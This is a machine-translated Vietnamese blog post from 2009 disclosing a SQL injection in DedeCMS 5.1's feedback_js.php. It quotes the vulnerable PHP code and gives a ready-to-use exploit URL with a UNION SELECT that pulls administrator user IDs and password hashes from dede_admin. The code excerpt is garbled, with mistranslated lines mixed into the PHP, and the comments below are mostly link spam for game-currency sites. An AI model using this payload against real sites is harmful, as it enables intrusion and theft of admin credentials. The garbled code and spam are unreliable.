DEDECMS 5,1 feedback_js.php 0day, 0day DEDECMS, 5.1 DEDECMS, feedback

DEDECMS 5,1 feedback_js.php 0day

Mục nhập này đã được đăng trên 11 Tháng 10 2009

: St0p Rainy'Fox
Sao chép xin vui lòng ghi rõ nguồn: http://www.st0p.org http://bbs.erpangzi.com/

Lỗ hổng này được tìm thấy và Rainy'Fox cũng có sẵn trong trường hợp magic_quotes_gpc = off

Phiên bản dễ bị tổn thương: Bài viết Condo 5,1
Điều này có thể được khai thác để có được tài khoản quản trị trong nền và mã hóa HASH, lỗ hổng tồn tại tập tin cộng với feedback_js.php /, không lọc các thông số $ arcurl

  ......
 0 ; Urlindex = 0;
 empty ( $arcID ) ) nếu (trống ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("id Chọn Từ` # @ __ cache_feedbackurl `url = '$ arcurl");
        / / Ở đây arcurl không có bộ lọc
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) urlindex = $ row ['id'];
       / / Trình bày các kết quả đặt $ urlindex giao cho một truy vấn hàng $ ['id'], chúng ta có thể xây dựng các câu lệnh SQL vào các hoạt động sau đây
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; nếu (trống (arcID) & trống ($ urlindex)) exit ();
 / / Nếu $ arcID có sản phẩm nào hoặc $ urlindex trống xuất cảnh
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (trống ($ arcID)) $ wq = "urlindex = '$ urlindex";
 / / $ ArcID là trống rỗng, ngay phía trên kết quả thực hiện sẽ được giao cho $ wq vào các hoạt động sau đây được thực hiện.
 = " aid=' $arcID ' " ; else $ wq = "viện trợ = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Chuỗi truy vấn = "select *` # @ __ phản hồi `$ wq và ischeck = '1 'tự do dtime giảm dần";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ chuỗi truy vấn);
 ......

Nhìn vào sử dụng, hey, đóng cửa tôi sử dụng 2 công đoàn

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'công đoàn chọn "và chọn 1 = 2 đoàn 1,1,1, userid, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 từ dede_admin nơi 1 = 1 công đoàn chọn * từ dede_feedback nơi 1 = 2 và = '"từ dede_admin nơi'' ='

Tuy nhiên, ngay cả và Rainy'Fox anh chàng này để tìm mục tiêu thử nghiệm khi anh ta thực sự nói có thể ở = magic_quotes_gpc qua .... ý tưởng này quá YD ... quá khủng khiếp, để thực sự đạt được điều này lĩnh vực mạng nên sự hỗn loạn, rất nhiều các chương trình mặc định trong PHP magic_quotes_gpc tắt, sẽ gọi một phần thoát của riêng của họ ... bạn thực sự có thể đạt được, đó là cơn ác mộng của các chương trình PHP ...

Tìm hiểu · võ nghệ thuật Cheats

347 Responses "DEDECMS 5,1 feedback_js.php 0day"

By хостинг Nov 19, 2009 | Hồi đáp
zelo intiresno, hvala
Các bởi AKfour 7 ngày 1 tháng 12 năm 2009 | Hồi đáp
Tôi đứng đây ngày hôm nay với sự khiêm cung trước nhiệm vụ [url = http://www.bawwgt.com] dofus kamas [/ url], biết ơn về sự tin tưởng mà bạn đã ban cho, lưu tâm đến những hy sinh chịu url [của chúng ta = http:/ / www.bawwgt.com] dofus kamas giá rẻ [/ url] Tôi cảm ơn tổng [url = http://www.bawwgt.com dofus quyền lực san lấp mặt bằng [/ url] cho dịch vụ của mình [url = http://www bawwgt.com mua dofus kamas [/ url], cũng như sự hào phóng và hợp tác mà ông đã thể hiện trong suốt quá trình chuyển đổi này.
Các bằng cách wsewtoexg vào ngày 3 Tháng Mười Hai, 2009 | Hồi đáp
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Tedy ngày 5 tháng 12, 2009 | Hồi đáp
Chỉ có 34 ngày trước khi Dofus 2.0 ngày 02 tháng 12 sẽ có mặt ở đây trước khi chúng ta biết [url = http://www.bawwgt.com/fr] dofus kamas [/ url] [url = http://www.bawwgt.com / fr] dofus kamas moins chers [/ url] mỗi người chơi sẽ khám phá ra một kinh nghiệm hoàn toàn mới Dofus. [url = http://www.bawwgt.com/fr acheter des dofus kamas [/ url] có phải là nội dung với báo cáo và diễn đàn. Mặc dù vậy [url = http://www.bawwgt.com/fr] ACHAT dofus kamas [/ url], " ¯ s luôn luôn là một vài cầu thủ thân yêu của chúng tôi trong các diễn đàn.
By mua strattera ngày 13 tháng 12 năm 2009 | Hồi đáp
đây là một tin tức có Cảm ơn bạn.
Các bởi Seengart ngày 14 tháng 12, 2009 | Hồi đáp
huh ... thông tin phong cách ..
Natasha-web trên 16 tháng 12 năm 2009 | Trả lời
Vdaka za zaujimavy Blog
Các ConradSimone vào ngày 8 tháng 3 năm 2012 | Hồi đáp
Vâng điều này là tình yêu indeed.Would rất thú vị để đọc một chút về điều này. Chiêm ngưỡng những thông tin có giá trị mà bạn cung cấp trong bài viết của bạn.
Conrad bởi Simone